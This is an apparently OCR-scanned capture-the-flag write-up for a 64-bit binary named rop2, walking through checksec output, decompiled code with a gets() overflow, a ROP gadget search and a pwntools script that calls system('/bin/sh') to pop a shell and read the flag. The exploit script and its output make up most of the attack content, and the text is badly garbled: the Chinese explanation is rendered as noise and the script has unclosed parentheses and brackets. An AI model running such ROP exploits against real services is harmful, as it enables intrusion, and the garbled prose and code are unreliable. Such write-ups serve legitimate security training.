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fun(int a, int b int ¢, int d, int e, int f, int g, int h) {}
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® Desktop checksec rop2

[*] '/Users/bufsnake/Desktop/rop2’
Arch: amdo4-64-1ittle
RELRO: Partial RELRO

Stack:
NX:

PIE: hitbs#blag.eedninet/aa 40640243

RELRO: RELRO% A Partial RELROMFULL RELRO, M /EFULL RELRO, BERERANILEB R gotE

Stack: WRLF I ECanary found, #ABAEEHBEEAG B FEESERPREEE, WHEBIHN SR S5RKHEE. leak canary.
overwrite canaryf 77 ik 845

NX: NX enabled4n X MR T o it 2 IR E AR F IR R A PATHR, CARTHIZEE B fcall espaiEmp espHI B AR, ER-RTLA
F| F ropiX Fh 7 ¥ Geid

PIE: PIE enabled il #2577 /5 X4~ ik BEHLAL 1% Tt R BB A2 7 8 UGB AT I B b I #0804k, T G SR ¥ 8 FFPIEK) i 384 No PIE
(0x400000), &S M3 HIEHE B2 TR F 2 bk

root@iZ4ySp4nmdvewdZ . ~# ./rop2
This time ,there is no command~

aaaaaaaaa
root@iZ4ySp4nm@vewdZ . ~# ./rop2

This time ,there is no command~

aaaaaaaaaaadaaaaaaaad
Segmentation fault
root@i Z4y5p4nnmzq lagt: I 1.netlqq_40640243
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External symbol
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char v4; // [rsp+2Ch]

[rbp-4h]

setvbuf (stdout, OLL, 2, OLL);
setvbuf (stdin, OLL, 1, OLL);
puts("This time ,there is no command-\n"};

gets(&v4, OLL);
return 0;
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@ 5] Stack of main

[x] Strings window

@ [T He:

Functions window

Function name
___isoc99_scanf
__libc_start_main

_do_glo
_gmon_

bal_dtors_aux
start__

__isoc99_scanf
_libe_csu_fini
_libe_csu_init
_libc_start_main

_gets

(7] _init_proc

_put:
7] _rand

_setvbuf

_srand
[F] _start

_system
_term_proc

_time

deregister_tm_clones
frame_dummy

gets
joke
| 7| main
puts
rand

register_tm_clones

setvbuf
srand

sub_400610

system
time
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int __ cdecl main(int argec, const char **argv, const char **envp)



R IR $joke

00 © (5] IDA View-A @ [3] Stackof main @ [5] Strings window = @

g 1[int joke()

¢ 2

3| int result; // eax

g 4| int vl; // [rsp+4h] [rbp-Ch]

C 5| int v2; // [rsp+8h] [rbp-8h]

c 6 unsigned int seed; // [rsp+Ch] [rbp-4h]

C 7

C 8 seed = time(OLL);

C 9 srand(seed);

¢ " 10 v2 = rand();

¢ 11 __isoc99_scanf (&unk_400908, &vl);

C 12| result = vl;

13| 4if ( vl == v2 )

Ceo14 result = system("flag xue zhang tian xia di yi--—-");

€+ 15 return result;
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@[5 IDA View-A @ [E| Pseudocode-A @ [5] Stack of main [l < Rl Gl s AL L

|| Address Length Type  String

5] LOAD:0000.. 0000001C
5] LOAD:0000.. 00D00D0A
5] LOAD:0000.. 00000005
5] LOAD:0000.. 00000006
5] LOAD:0000.. 0DOODOOF
5] LOAD:0000.. 00000005 puts
[s] LOAD:0000.. 00000005 time

C flib64/ld-linux-x86-64.50.2
c
c
c
c
c
c
[s] LOAD:0000.. 00000006 c stdin
c
c
c
c
c
c
c

libc.s0.6

gets

srand
__isoc99_scanf

[s] LOAD:0000.. 00000007 stdout

[s] LOAD:0000.. 00000007 system

[s] LOAD:0000.. 00000008 setvbuf

[s] LOAD:0000.. 00000012 _libc_start_main

[s] LOAD:0000.. 00DDDOOF _gmon_start__

[s] LOAD:0000.. 00D0000A GLIBC_2.7

B LoAD:0000.. 000000OC GLIBC_2.2.5

[5] .rodata:000.. 00000021 flag xue zhang tian xia di yi~=~~
@ -rodata:000... 00000021 This time ,there is no command-~\n
[5] .eh_frame:0.. 00000006 3\

@ .data:00000... 00000010 here look here~

C
C
C
C
BRI/ oin/shFE R FHREA, LI A getsHisystemiki £

BER T

T F getsfi # 8 bss B 5 N\/bin/sh, 4XJ5 1 F systemif #i#h AT system("/bin/sh");



® Desktop ROPgadget --binary rop2 --only 'poplret' Igrep rdi

Ox00000000004008e3 : pop ;

XEM@RE—T, HTgetsRBRE 1S4, FrlAMHgetsmEA, TERrdifE NMEANBNSEH
pop rdi ; ret FIAE 25 24 5T AR T B9 (B 77 2 rdisp

F Ak payload N p64(pop_rdi_ret) + p64(bss) + p64(gets_addr)

T2 HAT Blpop_rdi_rethf KA Tk £bssHiHuhl, REmH#bssilbFArdist, 4R /518 getsiiL

T RE R F systemg £

BAmiE, AA—AREUE, BARE T — A bk h & R R BT 58 5 R EPAT I — ANy
RAHEpayload )5 & np64 (pop_rdi_ret) + p64(bss)+ p64(system_addr), JFE¥ 5getsEHukaFE,
getsfEbsshbik 5 N\ /bin/sh, systemifi FbssHuhbti/bin/sh, BIik 2] T i F/bin/shii{E

gets
pop rdi ret

from pwn import *

pro = remote("ip",port

pros = ELF("'./rop2"'

bss = Ox6010F0
pop_rdi_ret = 0x4008e3

system_addr = pros.symbols|[‘system’
gets_addr = pros.symbols['gets’

payload = 'a'*4 +'a'*8

payload += p64(pop_rdi_ret) + p64(bss) + p64(gets_addr
payload += p64(pop_rdi_ret) + p64(bss)+ p64(system_addr
pro.readuntil("~"

pro.sendline(payload

pro.sendline("/bin/sh"

pro.interactive



® Desktop python rop2.py
[+] Opening connection tod l B P on port 10002: Done
[*] '/Users/bufsnake/Desktop/rop2’
Arch: amdo4-64-1ittle
RELRO: Partial RELRO
Stack:
NX:
PIE:
[*] Switching to interactive mode

flag{b190a@a8-5a99-4c92-8360-0ee640263448}

[*] GOt EOF While Feading in interactive https:/iblog.csdn.netiqq_40640243
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